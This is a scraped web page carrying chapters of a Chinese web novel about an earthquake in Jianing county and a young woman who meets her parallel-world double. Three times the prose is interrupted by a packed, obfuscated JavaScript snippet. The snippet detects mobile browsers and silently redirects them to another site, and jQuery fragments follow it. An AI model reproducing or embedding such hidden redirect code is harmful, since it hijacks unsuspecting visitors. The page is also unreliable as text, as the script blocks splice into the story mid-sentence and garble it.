;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108866|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
泪带着感恩和感激喷涌而出。
哭成泪人的文莉也过来了,一家人哭着抱成一团。
田伟说,昨晚他在等待救援时经历了好几次余震,他现在脑子里还回响着石块落地轰隆隆的声音,那声音跟催命符似的,每次响起,他就觉得脚下的地变薄了许多。
那时他已得知嘉宁县的噩耗,滞留在高速路上的人鸣笛为同胞们送行,哭泣声哀嚎声声声不断。
他抬头看着阴沉沉黑漆漆的天空,试图把眼泪逼回去,可泪却像决堤的水一样不受控地奔涌而出。他看见有个中年男人坐在驾驶室不停抹泪,车里黯淡的黄色光源勾勒出他悲怆的脸庞。他走过去递了根烟给他,那男人哭着说,他刚把妻女送回嘉宁就出了这样的事,他一辈子都不会原谅自己!
谢常德听到这话,痛彻心扉,忍不住掩面痛哭。在生意场上拼打厮杀的硬汉,再难再苦也不退缩的男人,此时哭得像个无助的孩子,他唯一的儿子啊!现在下落不明不知生死。他的亲友、生意伙伴,大概率已不在人世!
田伟手搭在谢常德胳膊上,哽咽道,“都怪我,没把精锐带回来。”
谢常德的肩膀抖个不停,此时根本不想言语。
直到半夜,也没有任何消息传来。身心俱疲的谢常德坚持要回家等儿子,不放心的田伟将他送回了家。等他再回家时,妻子已睡下,女儿房间的灯还亮着。
田家希正在梳理七年前地震事件脉络。按说,谢家父子是安全无虞的,但这个世界的谢家因为晚到省城半年,和老家的人和事来往还很密切,才会发生这样的意外。这是她没预料到的。
谢精锐和爸爸是在三点半分开的,打完一场球再往回返,地震时他大概率没出县城。但,如果没打球或是打球时间缩短,他可能在回来路上,也许能活下来。
就在她胡思乱想时,田伟推开了门。
“谢精锐当时打算和我一起回来,但接了个电话他就改变主意了,可能想和那些兄弟多聚聚,毕竟搬家了嘛。”田伟叹了口气,“但愿他平安无事。”
聪明的田家希一听就明白了,这是爸爸找她解惑的开场白,因为这样的感叹,自他到家后已经感叹好几次了。
“我也是瞎猜的。”她知道他要问什么,干脆直说了,“昨天你们离开时我就心不安,就提醒了下,我没想到真会发生。”
“可是你喊我三点前离开嘉宁,你是知道……”田伟见女儿眼神躲闪,再次证实她对未来有预知能力。
他想知道,那个没预知能力的女儿好久回来。
田家希此时心境与才穿来时大不同,她努力想要抓牢双亲,只得撒谎说她们就是同一人。
田伟倒吸口凉气,觉得这事太过离谱!他想不通,这种事怎么会发生在自家!难道是前些年他把祖坟迁回籍贯地,祖宗显灵应了他的心愿?
是了,这不捡回一条命么?
大难不死必有后福啊!
他顿时豁然开朗,问女儿,“你有这样的特异功能,对身体有影响么?”
见爸爸还执着认为她有特异功能,田家希也懒得解释了,她摇摇头说无大碍,并求他一起保守这个秘密,“特别是对妈妈。她现在很脆弱,经不起惊吓了。”
田伟说好,你妈妈胆小,还是不让她知道的为好。
18. 清丰市 2018年
这是一间大约十平米的长方形房间,没有窗户,所有的光源来自墙上的射灯和桌上的台灯。
田小沛原以为这是一间书房,但目光所及之处并没有书和电脑,桌上只有一本厚厚的信纸、放满铅字笔的笔筒和一盏台灯。
她拿起那本很朴素的信纸,借着光看见上面拓下一排排字迹。她脑洞大开,莫不是谢京睿让她破译什么密码吧!她立马坐下,仔细甄别字迹,什么“我很想你”、“我昨晚做梦又梦见了你”、“我祈祷能再见你一面”……
是情书!是他写给田家希的情书!小沛不再去看,心想现在什么年代了,谁还写信啊!没想到他这么有钱的公子哥,行事还这么老土。
他写的这些信她能收到吗?他不是说找了她好几年嘛!
这么想着,小沛随手打开桌子一侧的抽屉,被信封塞得满满当当的抽屉受到振动,从缝隙里掉出来一封信,她捡起来一看,信封上只写了“田小沛收”四个字,不应该是田家希吗?她心跳加速,仔细确认了下,是“田小沛”三个字。他写给自己的?怎么可能!
她进屋之前谢京睿说,房间里的东西可以随便看。她拆开那封信,只见上面写道:
“小沛,今天是你离开我的第1153天,时值盛夏,我又想起那年暑假我们一起上补习班,那时我俩争锋相对,你总是有办法在老师那儿告我状,害我天天挨骂,我那时对你恨得牙痒痒,也捉弄过你……现在回想起来,特别怀念那段时光,失去你后才知道,有你在身边,连挨骂都是甜的。”
补习班?田小沛想了想,她确实和谢京睿上过暑假补习班。他写的这些怎么和自己经历的一样呢?而且署名是小沛,难道还有一个田小沛?
她的手微颤着,伸向装满信封的抽屉,由于塞得太满,她扯了半天没扯出来,视线转移到抽屉下的柜子,打开一看,同样是塞得满满的信封,她随便抽出一封,打开读道:
“小沛,你到底在哪里?这些天我通过各种渠道找你,登报上网,拜托各路媒体、电视台刊登你的消息,一点回应都没有!他们都说你可能不在人世了,但我不信!地震那天你并没回到嘉宁,对不对?之后我打过你的手机,是有信号的,所以你一定还在!我现在特别恨自己,为什么不强硬一点!又觉得自己特没用,找你的途中遭遇泥石流,现在躺在医院束手无策,你到底在哪里呢?”
地震?嘉宁?田小沛不相信自己所看到的,把这段话从头到尾仔仔细细读了两遍,没错,就是嘉宁发生了地震!她看了眼信尾标注的日期——2011.6.15。
她惊得猛地站起来,脑中突然闪出谢京睿那天说七年前的事故,难道就是这?还有,她记得那天在车上,谢京睿说田家希来自嘉宁,这么说,信里的小沛就是田家希,七年前嘉宁县遭遇地震,他俩被迫分离,现在他找到她了,对不对?
这个田家希和自己不仅长得像,来自同一个地方,认识相同的人,生活经历也相同,这不就是另一个自己?所以,他们才把她当成了她。对不对?
她的心扑通乱跳,嘴唇麻酥酥的,别慌别慌,她两手撑着桌子,强迫自己冷静下来,可脑子像糊了浆糊一样,刚才说什么来着,地震!她又去把时间看了一遍,写信的时间是2011年6月15日,她穿过来的那天是5月24日,那么地震就是在这段时间内发生的!
她双腿发软,扶着桌沿重新坐回椅子上。“谢京睿。”她心慌无力,喊出的声音连自己都听着陌生。
谢京睿就在门外,准备了一大段表白词,听见叫他名字时他还有些紧张。他推门而入,只见田小沛两手交叉把信扣在桌上,深吸了口气,“我问你,这些信写的都是事实?”
“当然。”他虽觉得她问话奇怪,还是如实说了。“我想你的时候就会写一封,以此来排解思念。我……”
“地震是哪天发生的?”她截断了他准备好的表白,话音微颤。
谢京睿看她脸色不好,以为重提往事刺激了她,顿时紧张起来,他想:这个时间她应该不会忘吧,为什么要问,问这个有什么意义?
就在他思考时,小沛又问,“我昨天问我爸妈在哪你为什么不明确回答,是不是他们……”她哽住了,不敢往下想。
“已经过去这么久了,你要学着从悲伤里走出来。”
田小沛杏眼圆睁,不可置信看向谢京睿。紧接着,晶莹的泪珠从眼眶奔涌而出,不可能!嘉宁是爱地震,但很少听说死人,一定是搞错了。她下意识去找手机,却发现手机并没带在身上。
谢京睿纳闷,看她的反应像是第一次知道此事,失忆能到这种程度?他不禁想起这些天她各种不对劲的地方,脱口而出,“你是谁?”
这句话让田小沛重新陷入慌乱。对啊,我是谁?是信里的田小沛,还是此时此刻我能感受到的自己?
信里的田小沛是七年前的我吗?不是吧,她在七年前遭遇过地震,而我在七年前地震还没发生时穿到了这里,我们经历不同。
她脑中突然闪出《时间简史》里的结论:平行世界!
啊!难道我们是两个世界的另一个自己?
对对对,应该就是这样,我不是她……那她的遭遇也不会在我身上发生对不对?
田小沛揉搓着两侧太阳穴,一时半会还消化不了这么大的信息量,“我有点累了。”她不能再问谢京睿太多,“我想回房休息。”
“一会郝医生会来。你先去休息,他来了我告诉你。”谢京睿故意不把话说全,想看看她的反应。
小沛脑袋嗡嗡的,根本没在意他说什么。她胳膊肘撑着桌子,缓缓站起来。
“你们上次见面只是大致了解,郝医生说,以后可能要定期做心理辅导。”谢京睿说得半真半假,视线紧随着她的一举一动。
田小沛走到他跟前脚步顿住了,听见“心理辅导”几个字,眼神茫然地看了他两眼,脑子里想的却是地震,她要尽快确定真假。她将视线收回,走过他身旁,刚握住门把手,只听他情绪激昂道,“田小沛,这么多年了,你一直没有放下过,你这样折磨自己,他们在天之灵也不会安息啊!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112350|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
田小沛身子一凛,眼睛又开始酸胀,心中喃喃自语:不会的,他们不会的!力气突然就在此刻恢复了,她用力拉开房门,一路小跑到南院舍的卧室,迫不及待拿起手机搜索“地震+嘉宁县”,页面第一条的新闻标题便是“5.29嘉宁地震”。她颤抖着点开标题,心惊肉跳看完整篇报道,视线停留在“仅存百余人”几个字眼上,崩溃大哭。
这么说,她爸妈已经遇难了,她因为穿越躲过这一劫。
哇……呜呜呜……
不对不对,她真正的家不是在另一个世界吗?万一不一样呢?
她停止了哭泣。
怎么不一样?两个田小沛,两个谢京睿,人,事,都是一样的。
哇……呜呜呜……
哭了很久,她突然扬起脖子想,不行,她不能在这儿坐以待毙,必须得想办法回去。
但是,除了那本《时间简史》,她根本不知道其他的穿越条件,想啊想,脑子都想疼了,只记起穿越那天是晚上,下很大雨。
片刻后,她收拾好背包,风风火火出门,正撞上前来送甜点的崔阿姨。崔阿姨见她眼睛红肿,一副急匆匆要走的样子,马上报告给了谢京睿。
这不打招呼就走的习惯,还真有点像当初认识的田小沛。
谢京睿见她背着包从大门出来,东张西望了一番,拿起手机点点点,看那焦灼的表情,应该是没打到车。他哑然失笑。
刚才他在她房门站外了很久,听见她哭声立马就心软了,他不该试探她,不管她变成什么样,都还是当初他最爱的那个她,不是吗?
他预判到她会走,提前在车里等着了。
汽笛声吓了田小沛一跳,她看见他车停在这里,但没想到他会坐在里面。
谢京睿摇下车窗问她去哪儿,她看了看时间,放弃了打车的念头,说要去书店。
到了书店她并没让谢京睿跟随,以最快的速度买了本《时间简史》,放进包里准备溜之大吉,可还是被眼尖手快的谢京睿拦住了。
“要去哪里?”
“溪水村。”
“说实话。”
她猜他不会同意她故地重游,又挣脱不开他,于是故意激他,“嘉宁县,你敢去吗?”
谢京睿认真地看着她,“去那里会让你好受点吗?”
田小沛拼命点头。
“走吧。”他也不问缘由,只要是她想去的地方,想做的事情,哪怕上刀山下火海他都愿意!
到嘉宁地界太阳已落山,田小沛在昏暗的暮光中看见和记忆里完全不一样的景象——宽阔整洁的街道,崭新漂亮的房屋,来来往往的生面孔……从南到北,每一处都让她感到陌生。
趁谢京睿去餐馆打包晚饭的功夫,她向几个路人报出自家地址,都说不知道,她呆立在原地,有些绝望。
这时有个老人拄着拐走过来,盯着她看了好一会,“你说的那个地名早没了,那里现在建了座纪念馆。”
打听到纪念馆离这儿不远,田小沛飞奔而去。
19. 第一次对话
田家希万般劝说,还是没能阻止爸妈要去嘉宁县寻找亲人。
此时离地震发生已有三天,虽然生还机率渺茫,但一听说通往嘉宁的路打通了,田伟坐不住了,立马要开车前往。
“就算看到的是尸体,也要亲自见了才甘心。”文莉听说能去灾区了,又忍不住哭出来。
这想法和七年前的田家希不谋而合。
田家希不再说什么,她将准备好的干粮、饮用水、急救包、手电筒等,连同妈妈的胃药一同搬上了车。
原本打算和他们同去寻亲的谢常德在临行前接到某县医院电话,他们通过网络发布的信息来电确认是不是谢精锐父亲,又说谢精锐目前在医院抢救,情况不太好。
谢常德听闻这个消息又悲又喜,和田伟匆匆说了几句,便调转车头向医院方向疾驰而去。
文莉听说谢精锐被救出来了,眼里有了光,她紧抓女儿的手激动地抖个不停,“你几个姨妈肯定活着,对不对?你什么都知道,你说是不是?”
这几天,文莉一直拿预知地震的事儿有意无意试探她。田家希看她精神不太稳定,故意说一些似是而非的话巧妙避过。就比如她此刻回答的是,“谢伯说他情况不太好,到底是哪里不好?这么多天才被找到,不知道谢精锐经历了什么?”
“是啊!”文莉的思绪也跟着转移了,“那孩子够可怜的,从小没了妈,现在又遭遇这样的事……”
在离县城还有段距离时,糟糕的路面情况已经不允许车子通行了,一家人只得徒步前往。
田家希把必需物品分装在三个背包里,每人背着一个包相互搀扶着越过乱石,穿过废墟,沿途遇到几个同去寻亲的老乡,得知他们是外省赶来的,老家只有老人小孩,原本打算经济条件好了将他们接出来,没想到遭遇这样的天灾。
大家彼此安慰着,走到县城附近就分开了。
走了一会儿,又碰到一队救援官兵,文莉向他们打听亲戚的消息,当听说具体地点时,官兵们脸色十分沉重,说那几个地方已经没有生命迹象了,他们用生命探测仪搜了三天,毫无收获。
文莉闻言差点晕了过去,好在被丈夫稳稳接住。
田家希又问了官兵们一些受灾情况,和记忆中的情形一模一样。
“妈,希望不大,我们不去了。”她真担心妈妈看到那番惨烈景象会留下巨大的心理阴影。
“那怎么成,已经走到这儿了!”文莉咬着牙,眼神突然变得无比坚定,她推开丈夫,大步往前走。她想:万一不是他们说的那样呢?万一有奇迹呢?我非要亲眼看看!
“我们先去安置点吧,那里有寻亲联络人……”田家希话还没说完,就被妈妈打断了,她坚持先去小妹的住所看看。田伟也觉得要找就得亲自找。
他们都低估了寻人的难度。
越靠近建筑物密集的县中心,断壁残垣越多,一栋栋倾倒的房屋像被推翻的积木散落在地,挡住了他们的去路,让人辨不清方向。
几天前还人声鼎沸的繁华县城,如今变得如此荒芜死寂。田伟掩面痛哭,他从没见过这么惨烈的地震!
一队带着口罩背着消毒背囊的防疫人员路过,提醒他们不要靠近这些建筑物,余震会致房屋再次坍塌,又告诉他们灾民集中安置的地方,说那里有专人帮忙登记信息寻找亲人。
田家希便趁此机会劝说爸妈,让他们先去安置点看看,万一亲人被救,他们也不至于在这儿抓瞎。
束手无策的田家夫妇同意了。
田家希在前面带路,偶尔遇见几个人向他们打听安置点的方向,以确认是否和记忆中一致,由此便能确认接下来发生的一切事情。
到了安置点,一家人在志愿者的引领下找到临时成立的寻亲联络小组,在得知救出人员没有双方亲人后,文莉把自己的信息登记在册,并决定此后几天都住在安置点,随救援队一同寻找。
这个安置点有几十顶帐篷,大多住着医护人员、志愿者和幸存灾民,只要有一个被救出的伤员送来都能引起一阵不小的轰动,但这样的“轰动“并不多。
天色渐暗,田家希安顿好爸妈后,从帐篷出来,看见西边袅袅炊烟升起,便知是领饭点。她从两排帐篷中间的道路穿行而过,沿途看见头缠着纱布的老人面容痛苦地坐在帐外小憩;两个灰头土脸的小孩依偎在妈妈怀里哭泣;医护人员穿梭在帐篷间为伤者治疗诊断……
田家希捂着胸口,越看越觉得窒息,她感觉有点头晕,眼前的一切开始变得模糊,就当她想退回自己帐篷时,突然一个熟悉的声音从前方传来,“快,把这箱泡面送到1号点。”
看见声音的主人正有条不紊地维护现场秩序,田家希眼中一热,泪差点翻滚出来,她的身体突然注满力量,快步上前,对着那个瘦小坚韧的背影说,“梁老师,我能做点什么吗?”
梁瑛惊讶地转过身,看着眼中欣喜激动的漂亮女孩,心想她刚到这儿帮忙,怎么会有人知道她的职业。
“你认识我?”
“啊……”田家希眼神飘移,撒谎说她在某个学术论坛上听过她的讲座,对她很是仰慕。“真没想到在这儿碰见您。”
梁瑛表情凝滞,刚要问她是哪个学术论坛,此时脚底轰隆作响,地面轻微地摇晃了起来,田家希下意识抓住梁老师的手腕。
梁瑛见她表情惶恐,面色苍白,忙腾出一只手轻拍着她的肩安慰,“别怕啊,这是余震,很快就过去的。”
同样的动作,同样的话语,伴着温暖的腔调,让田家希忆起七年前,也是在这里,她蜷缩在地上哭时,梁老师递来了纸巾。
“小姑娘,别怕啊,遇到什么困难可以跟我说说。”
田家希抬起头,眼泪朦胧中看见一个眼神亲切、眉眼温柔的中年女人正对着她笑。那时田家希刚失去父母,看见她像是看见妈妈,哭得更大声了。
有知情人在一旁说,她爸妈连同那栋房子一起压在地底下,她现在是孤儿了。
梁瑛对这个可怜无助的女孩很是同情,将她带在身边。救援结束后,她便根据震区的相关政策将她养在自己家。
彼时田家希已经成年,不算收养,但梁瑛对她倾注的关心和爱不比自己孩子少,说不上为什么,她看她的第一眼,就觉得似曾相识。
对于这个如同再生父母的梁老师,田家希心存感激和敬仰。如果没有她,她很可能选择一了百了;如果没有她,她没有勇气开启新生活;如果没有她,她不会达成当一名教师的梦想。
但此时的梁瑛并不知道她和她之间有这样一段缘分,只觉得这个女孩很有眼缘。
田家希当即加入志愿者队伍。只要有梁瑛在的地方就有她的身影,她尽可能多的承担各种任务,一是为报答恩情,二是为忘掉悲伤。
当晚,他们得知了谢精锐左腿截肢的消息。
田家希脑袋“轰”一声响,她明白,对于谢精锐这样傲气又拔尖的体育生来说,截肢比要他命更难以承受!这是她来到这个世界,带给她最大的意外和冲击!
文莉也跟着难受,说这孩子怎么这么命苦,又对丈夫说,如果她的兄弟姐妹能活着,哪怕成残废了她也是高兴的。她前言不搭后语地叨叨了很久,才被压抑着悲痛的田伟好言好语地哄睡着。
“爸,我完全不知道他会成这样……”田家希情绪崩溃蹲在帐外,抓着田伟的手泣不成声。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116496|195191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“不知道的事情为什么要怪自己?知道的事情你已经尽力了。”田伟轻拍了拍她的肩,又替她擦拭泪水,“好在他活着,已经强过这里的很多人了。”
救援的严峻形势容不得大家过多悲伤,接下来几天,田伟夫妻要么和幸存的人们在废墟堆里扒人,要么跟着救援队一起搜救,但凡有希望的都不放过。
田伟还去了谢常德的仓库,把还能吃的农产品全捐给参与救援的人们,又受谢常德所托,去寻找了他家的亲人,一无所获。
时间来到中元节这天,一大早就开始下雨,乌云笼罩着整个震区,给哀痛的人们更添了几分阴郁。所有人都心知肚明,经历了这么多天,一切都尘埃落定了。
身心疲累的田伟夫妻在帐篷里昏睡了半日,傍晚时分雨停了,文莉不知从哪儿弄来了纸钱,同祭奠亲人的老乡们一起烧给兄弟姐妹们。
田家希陪在爸妈身边,看着一缕缕寄托哀思的烟雾腾起,遥想当年她也曾做过同样的事,不同的是现在她最在乎的人都平安健在,她感激不已,紧紧地搂着双亲。
明天就要离开嘉宁,田家希心想以后不会再踏此伤心地了,于是拿着手电筒独自前往自家楼房所在地告别。一路寂静无声,皎洁月光护送她缓慢前进,到了自家楼房前,她抬眸看着那残缺不全的红色房顶,唏嘘不已。
心理医生曾告诉她,想要医好心病,就要学会和过去告别,她一直没学会。
现在她站在这儿,想着楼里熟悉的邻居长眠地下,仍是悲戚,不过哀伤程度比七年前大大减弱。就当她在哀悼时,突然眼前出现一道白光,刺得她睁不开眼。
“啊!谁在那里?”耳旁传来一声惊恐的尖叫。
田家希骇然,这声音怎么听着那么耳熟?她睁开眼,此时白光渐渐褪去,她在光消散处看见一个一模一样的自己!
田小沛看清了田家希,吓得连退两步。“你……你是谁?”
田家希也吓得不轻,不由得胡思乱想:今天中元节,她又在埋着尸体的废墟堆上,难道是灵魂出窍?她打了个寒颤。
此时圆月散发的光芒分外明亮,像一盏白炽灯,把田家希所在地照得清晰可见,田小沛由此看清了她身后的景象——满地皆是碎裂的钢筋水泥块。她在碎块之上看到了熟悉的红色房顶,这让田小沛确定自己所在之处就是自己家。
怎么会变成这样?!
田家希看见对方捂着嘴露出不可置信的表情,她身后虽然光线晦暗,但房屋建筑的轮廓依然看得清楚,那是一座纪念馆,用来纪念在这次大地震中与世长辞的人们。她在电视里见过。
“你是田小沛?你在2018年?”渐渐冷静下来的田家希向对方确认她的身份。
“啊,你是……你是田家希?你在我家?”田小沛也反应过来,得到对方肯定答复后,她失声叫道,“啊!真的发生了地震?我爸妈呢?”
“他们都好。”
“他们人呢?”田小沛不信,大步向前想踏入她的地界,但明暗交界处像是有一道无形的屏障,她身体的任何部位越过这条线都能被弹回来。“这是怎么回事?”
田家希也不清楚,她和田小沛做了同样的动作,也被挡了回来。
“结界?”田小沛脑海里突然冒出这个词,“啊,怎么会这样?”她脑子一团乱。
“我们应该处于两个不同世界。”田家希确认了这一点,她想起书里的观点,“这里有可能是两个世界的交叠点。”
田小沛茫然地看着她,脑门突突的,“那,那我们还能换回来么?”
就在这时,月光渐渐黯淡,一片乌云飘来,田家希眼睁睁看着田小沛消失不见。